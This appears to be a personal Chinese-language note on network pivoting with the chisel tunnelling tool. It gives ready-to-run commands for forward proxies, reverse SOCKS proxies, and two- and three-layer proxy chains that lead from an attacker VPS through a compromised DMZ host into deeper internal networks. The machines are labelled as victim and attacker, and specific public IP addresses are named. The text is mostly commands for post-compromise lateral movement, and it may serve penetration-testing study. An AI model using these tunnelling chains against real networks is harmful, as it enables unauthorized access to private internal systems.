单独开一个代理模块

正向代理

被害机
./chisel server -p 1234

攻击机
chisel client -v 被害机IP:1234 3000:被害机内网IP:80

访问localhost:3000就是内网服务了

反向代理

相当于中间人了

公网机
./chisel server -p 7000 --reverse

被害机
./chisel client 公网IP:7000 R:0.0.0.0:7777:socks

代理是公网IP的7777端口

二层代理

第一级,外网机器的其他端口和第一层内网的80端口

本地 ==> 第一层外网 => 第一层内网 => 第二层内网
VPS DMZ 办公区 核心区

				第二级 可以直接打80了

VPS
./chisel server -p 7000 --reverse

第一层外网
./chisel client VPS:7000 R:0.0.0.0:7777:socks

此时通过VPS:7777代理可以访问第一层内网的服务

打穿第一层内网后

第一层外网

./chisel server -p 7000 --reverse

./chisel client VPS:7000 7100:127.0.0.1:7200 R:7100:socks

在第一层内网执行
./chisel client 第一层外网IP:7100 R:7200:socks

此时通过VPS:8000端口代理访问的是外网的9999端口,由于9999端口是第一层内网的socks代理,所以

本地举例

165.154.5.221 用作VPS

1.14.127.40 用作外网机

120.46.78.45 用作内网,暴露给外网区80,其中10000端口有个内网服务

Pasted%20image%2020240417021730

这样是通过VPS 访问到了外网机的内网端口

由于内网机可以访问 120.46.78.45的web端口

由于打穿了120.46.78.45的web端口
现在是要做第二层代理,目的是让本地能访问到120.46.78.45的内网端口

有点晕了,明天来

狠狠拿下了

总结一下

二层

VPS

./chisel_amd_linux server -p 7000 --reverse

外网机器

./chisel_amd_linux client 165.154.5.221:7000 R:0.0.0.0:7100:127.0.0.1:9999

./chisel_amd_linux server -p 9090 --reverse

第一台内网机器

./chisel_amd_linux client 1.14.127.40:9090 R:0.0.0.0:9999:socks

就是在外网机器上建立了 9999 的socks代理,然后把VPS 7100端口转发到这个socks代理上去

形成代理链利用 VPS:7100 => 外网:9999 => 第一台内网 =>第二台内网:80

三层

如果要 VPS:7100 => 外网:9999 => 第一台内网:6666 =>第二台内网呢

还需要
VPS

./chisel_amd_linux server -p 7000 --reverse

外网机器

./chisel_amd_linux client 165.154.5.221:7000 R:0.0.0.0:7100:127.0.0.1:8888

./chisel_amd_linux server -p 9090 --reverse

第一台内网机器

./chisel_amd_linux client 外网:9090 R:0.0.0.0:8888:127.0.0.1:6666
./chisel_amd_linux server -p 9999 --reverse

第二台内网机器

./chisel_amd_linux client 第一台内网:9999 R:0.0.0.0:6666:socks

形成代理链

VPS:7100 => 外网:8888 => 第一台内网6666 => 第二台内网

测试无误,完美